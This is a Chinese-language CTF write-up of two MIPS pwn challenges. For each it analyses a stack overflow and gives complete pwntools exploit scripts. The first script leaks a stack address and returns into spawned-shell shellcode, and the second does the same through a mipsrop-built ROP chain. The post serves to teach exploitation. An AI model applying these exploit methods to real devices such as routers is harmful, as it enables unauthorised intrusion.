MIPS Pwn赛题学习

MIPS Pwn writeup

Mplogin

静态分析

     mips pwn入门题。

    mips pwn查找gadget使用IDA mipsrop这个插件,兼容IDA 6.x和IDA 7.x,在IDA 7.5中解决方案可以参考这个链接:https://bbs.pediy.com/thread-266102.htm

    程序流程比较简单,输入用户名和密码进行登录操作。

   漏洞存在在vuln函数中,buf只有20字节的空间,但是read函数填充了36字节的数据,覆盖了栈内变量length,将length修改为一个很大的值,在第二次read的时候,就可以溢出修改$ra寄存器保存的地址,劫持数据流。

动态调试

     运行和调试环境:qemu-mipsel-static + chroot +IDA远程调试。

   漏洞点比较明确,保护机制也不多,MIPS不支持NX就给了我们向栈区写入shellcode的权利,溢出控制$ra寄存器直接跳转到shellcode处就可以了。

  由于栈区地址是未知的,在没有开启aslr的情况下,可以直接确定shellcode的地址,开启aslr保护之后,首先要泄露一个栈地址。可能存在地址泄露的点,在sub_400480函数中,跟进这个函数,看一下栈的布局。

   $sp寄存器的值是0x7ffff688,buf的地址在$sp指向的栈顶加18字节处,也就是0x7ffff800是buf起始地址。

   栈中的布局如上图所示,memset初始化了缓冲区,但是如果填充了24个可见字符的话,就会泄露出0x7ffff6a0,0x7ffff6a0是main函数栈顶地址。

   泄露出一个栈地址,可以帮助我们绕过aslr的保护,让我们可以把shellcode布置在栈上,然后控制$ra寄存器精准跳转到栈上来执行shellcode。

  要执行mips的shellcode,需要mips和mipsel的链接器,所以需要安装binutils-mips-linux-gnu和binutils-mipsel-linux-gnu。

apt-get install binutils-mips-linux-gnu
apt-get install binutils-mipsel-linux-gnu

漏洞利用

from pwn import *
context.log_level = 'debug'
context.arch = 'mips'
context.os = 'linux'

p = process(["qemu-mipsel","-L","./","./Mplogin"])
elf = ELF('./Mplogin')
libc = ELF('./lib/libc.so.0')

p.recv()
payload = 'admin'+'a'*18
p.sendline(payload)
p.recvuntil('a'*18+'\n')
main_sp = u32(p.recvn(4))
vuln_sp = main_sp - 0x68
log.success("main $sp : %s"%main_sp)
log.success("vuln $sp : %s"%vuln_sp)

p.recvuntil('Pre_Password : ')
payload = 'access'
payload = payload.ljust(0x14,'a')
payload += p32(0x200)
payload = payload.ljust(35,'b')
p.sendline(payload)

shellcode = pwnlib.shellcraft.mips.sh()
shellcode = pwnlib.asm.asm(shellcode)

p.recvuntil('Password : ')
payload = '0123456789'
payload = payload.ljust(0x28,'a')
payload += p32(vuln_sp + 0x68)
payload += shellcode
p.send(payload)

p.interactive()

  对于mips架构,我们依然可以通过pwntools来进行动态调试。

  首先填充字符串,泄露地址信息。

   然后改写length的值为0x200。

   在第二次调用read的时候,可以看到$a2寄存器被修改为了0x200。

 

  

   输入点距离保存$ra寄存器地址的偏移是0x28字节,在保存$ra寄存器的地址后面布置好shellcode就可以愉快getshell了。

HWS结营赛题:Pwn

Analysis

  题目的关键代码都在pwn这个函数中。

bool pwn()
{
  int v0; // $v0
  _BOOL4 result; // $v0
  int v3; // [sp+0h] [+0h] BYREF
  int v4[2]; // [sp+10h] [+10h] BYREF
  _BYTE *v5; // [sp+18h] [+18h]
  _BYTE *heap_ptr; // [sp+1Ch] [+1Ch]
  unsigned int i; // [sp+20h] [+20h]
  int j; // [sp+24h] [+24h]
  int v9; // [sp+28h] [+28h]
  int v10; // [sp+2Ch] [+2Ch]
  int v11; // [sp+30h] [+30h]
  int *v12; // [sp+34h] [+34h]
  int *v13; // [sp+38h] [+38h]
  int *v14; // [sp+3Ch] [+3Ch]
  int read_count; // [sp+40h] [+40h]
  int separated_idx; // [sp+44h] [+44h]
  _BYTE *size; // [sp+48h] [+48h]
  int group_num[3]; // [sp+4Ch] [+4Ch] BYREF

  heap_ptr = (_BYTE *)malloc(512);
  puts("Enter the group number: ");
  if ( !_isoc99_scanf("%d", group_num) )
  {
    printf("Input error!");
    exit(-1);
  }
  if ( !group_num[0] || group_num[0] >= 0xAu )
  {
    fwrite("The numbers is illegal! Exit...\n", 1, 32, stderr);
    exit(-1);
  }
  group_num[1] = (int)&v3;
  v9 = 36;
  v10 = 36 * group_num[0];
  v11 = 36 * group_num[0] - 1;
  v12 = v4;
  memset(v4, 0, 36 * group_num[0]);
  for ( i = 0; ; ++i )
  {
    result = i < group_num[0];
    if ( i >= group_num[0] )
      break;
    v13 = (int *)((char *)v12 + i * v9);
    v14 = v13;
    memset(heap_ptr, 0, 4);
    puts("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ");
    read_count = read(0, heap_ptr, 768);        // heap overflow
    if ( v13 )
    {
      v0 = atoi(heap_ptr);
      *v14 = v0;
      separated_idx = strchr(heap_ptr, ':');
      for ( j = 0; heap_ptr++; ++j )
      {
        if ( *heap_ptr == '\n' )
        {
          v5 = heap_ptr;
          break;
        }
      }
      size = &v5[-separated_idx];
      if ( !separated_idx )
      {
        puts("format error!");
        exit(-1);
      }
      memcpy(v14 + 1, separated_idx + 1, size); // stack overflow
    }
    else
    {
      printf("Error!");
      v14[1] = 'aaa\0';
    }
  }
  return result;
}

  题目中,首先申请了一个chunk,chunk的大小是512字节,这个chunk在后面的输入中会被溢出。

  

   申请出chunk之后,会要求我们输入group number,输入的group number会进行检查,首先要求输入的必须是数字,同时输入的第一个字节要么是空格,要么是'\n',否则就会exit(-1)退出执行流程。

    read_count = read(0, heap_ptr, 768);        // heap overflow
    if ( v13 )
    {
      v0 = atoi(heap_ptr);
      *v14 = v0;
      separated_idx = strchr(heap_ptr, ':');
      for ( j = 0; heap_ptr++; ++j )
      {
        if ( *heap_ptr == '\n' )
        {
          v5 = heap_ptr;
          break;
        }
      }
      size = &v5[-separated_idx];
      if ( !separated_idx )
      {
        puts("format error!");
        exit(-1);
      }
      memcpy(v14 + 1, separated_idx + 1, size); // stack overflow
    }

  存在堆溢出的同时,在后面还有对memcpy这个危险函数的调用,memcpy的源地址和目的地址都是栈中保存的地址,size是用户可控的,我们需要通过调试,来进一步了解栈布局,看看这里有没有发生溢出的可能。

debug

  在调用memcpy函数之前,看一下$a0,$a1,$a2三个寄存器的值。

 

   $a0保存的是一个栈区地址,而memcpy的第三个参数是可控的,这样一来,确实有造成栈溢出的危险。

  回溯一下memcpy第三个参数size。

   如图所示的代码就是size被赋值的操作,可以看到,size的值是heap_ptr-separated_idx的值,就是说我们":"后面输入的长度决定了size的大小,如果":"后面输入的数据特别长的话,自然就发生溢出了。memcpy拷贝的数据也就是堆里的数据,所以我们控制好冒号后面的数据,就可以覆盖保存$ra寄存器的地址,继而劫持执行流程。

   如图所示,返回地址距离栈顶的偏移是0xA4字节,所以首先填充0xA4字节的padding,然后再覆盖返回地址控制$ra寄存器。

   这道题目,基本也是没有开保护机制,虽然checksec显示有canary保护,但是在pwn函数中没有canary。主要要考虑的还是如何绕过aslr的保护。这道题中没有泄露信息的地方,所以只能考虑构造rop chain去绕过aslr。由于程序是静态链接,所以不能ret2libc去找system函数。那么如果可以泄露出一个栈地址的话,继续ret2shellcode也是可以的。

  IDA中有一个寻找gadget的好工具mipsrop,在github中可以找到:https://github.com/tacnetsol/ida

  关于mipsrop,这个帖子里有一些很好用的技巧:https://www.cnblogs.com/hac425/p/9416864.html

   在离开pwn函数的时候,可以通过布置栈数据,继而控制一些寄存器的值:

   泄露栈地址的话,需要借助到一些输出函数,常见的输出函数puts,write,printf等等在这个静态链接的程序中都可以找到。不同的函数需要的寄存器不同,需要注意的条件也不同,puts函数最大的限制是不能输出'\x00'截断符,但是需要的参数少。write函数对应的限制就是有三个参数,需要精心构造。

  将栈地址填充到寄存器的gadget有下面这些:

   方便函数调用的gadget可以用mipsrop.tail()或者mipsrop.doubles()来查找。

  mipsrop.stackfinders()里面有将栈地址填充到$v0的gadget,而mipsrop.tail()中有跳转到$v0的操作,这样看来,如果控制好shellcode在栈中的布局,直接填充到$v0中,再跳转到$v0寄存器指向的地址就直接可以执行了。

from pwn import *
context.log_level = "debug"
context.arch = "mips"
context.endian = "big"
context.os = "linux"

p = process(['qemu-mips','./h4pwn'])
stack_a1 = 0x44AEFC
# 0x0044AEFC  |  addiu $a1,$sp,0x64+var_28  |  jalr  $s5
li_a1_1 = 0x41F4E8
# 0x0041F4E8  |  li $a1,1                   |  jalr  $s1
move_a0_a1 = 0x4384c0
# 0x004384C0  |  move $a0,$a1               |  jalr  $s2     
move_a2_s7 = 0x44B534
# 0x0044B534  |  move $a2,$s7               |  jalr  $s0
move_t9_s4 = 0x41F9B4
# 0x0041F9B4  |  move $t9,$s4               |  jalr  $s4
jr_v0 = [0x45882C,0x458884]
# 0x0045882C  |  move $t9,$v0               |  jr    $v0
# 0x00458884  |  move $t9,$v0               |  jr    $v0
stack_v0 = 0x44B1EC
# 0x0044B1EC  |  addiu $v0,$sp,0x6C+var_40  |  jalr  $s2
write_addr = 0x41E290
pwn_addr = 0x400634
start_addr = 0x400360
main_addr = 0x400AB8
elf = ELF('./h4pwn')

shellcode = pwnlib.shellcraft.mips.sh()
shellcode = pwnlib.asm.asm(shellcode)

p.recvuntil("number: \n")
p.sendline(' 1')
p.recvuntil("eg => '1:Job.' \n")
'''
payload = '1:'
payload += 'a'*20
payload += 'a'*0x58
payload += p32(move_t9_s4)              # $s0
payload += p32(move_a0_a1)              # $s1
payload += p32(stack_a1)                # $s2
payload += p32(stack_a1)                # $s3
payload += p32(write_addr)              # $s4
payload += p32(move_a2_s7)              # $s5
payload += p32(move_a2_s7)              # $s6
payload += p32(4)                       # $s7
payload += p32(0xdeadbeef)              # $fp
payload += p32(li_a1_1)                 # $ra
payload += 'a'*0x28
payload += p32(pwn_addr)
p.sendline(payload)

main_sp = u32(p.recvn(4)) - 0x2c
log.success("main_sp address: %s"%hex(main_sp))
'''
payload = '1:'
payload += 'a'*20
payload += 'a'*0x58
payload += p32(jr_v0[1])*8              # $s0 - $s7
payload += 'aaaa'                       # $fp
payload += p32(stack_v0)                # $ra
payload += 'a'*0x2c
payload += shellcode
payload += '.'

p.sendline(payload)
#p.recv()
p.interactive()

 总结

   mips pwn的rop chain相对于x86架构来说,稍微复杂一些,主要是控制的寄存器不同,栈桢结构有所不同,构造方式更加多样化,所以在选择构造rop的时候,合理借助mipsrop这种工具,注意复杂函数返回时恢复寄存器现场的情况,提前布置好参数。但是利用方式也相对更粗暴一些,主要是由于mips架构硬件的原因,不能支持NX,所以很多时候关键在于合理布置shellcode,避免坏字符等等问题。路由器目前主流的漏洞利用方式还是rop,公开的堆漏洞并不多,所以熟练掌握mips架构下rop技术是学习路由器漏洞利用的必经之路。

  千变万化,rop这种技术基本的框架还是没有变,核心思想还是控制返回地址,控制指令寄存器,劫持程序的执行流程,做完这两题,对于mips rop更加熟悉一些,方便后面进行一些路由器漏洞的复现。

 

  

 

 

 

 

 

 

   

 

posted @ 2021-05-06 02:43  Riv4ille  阅读(992)  评论(0编辑  收藏  举报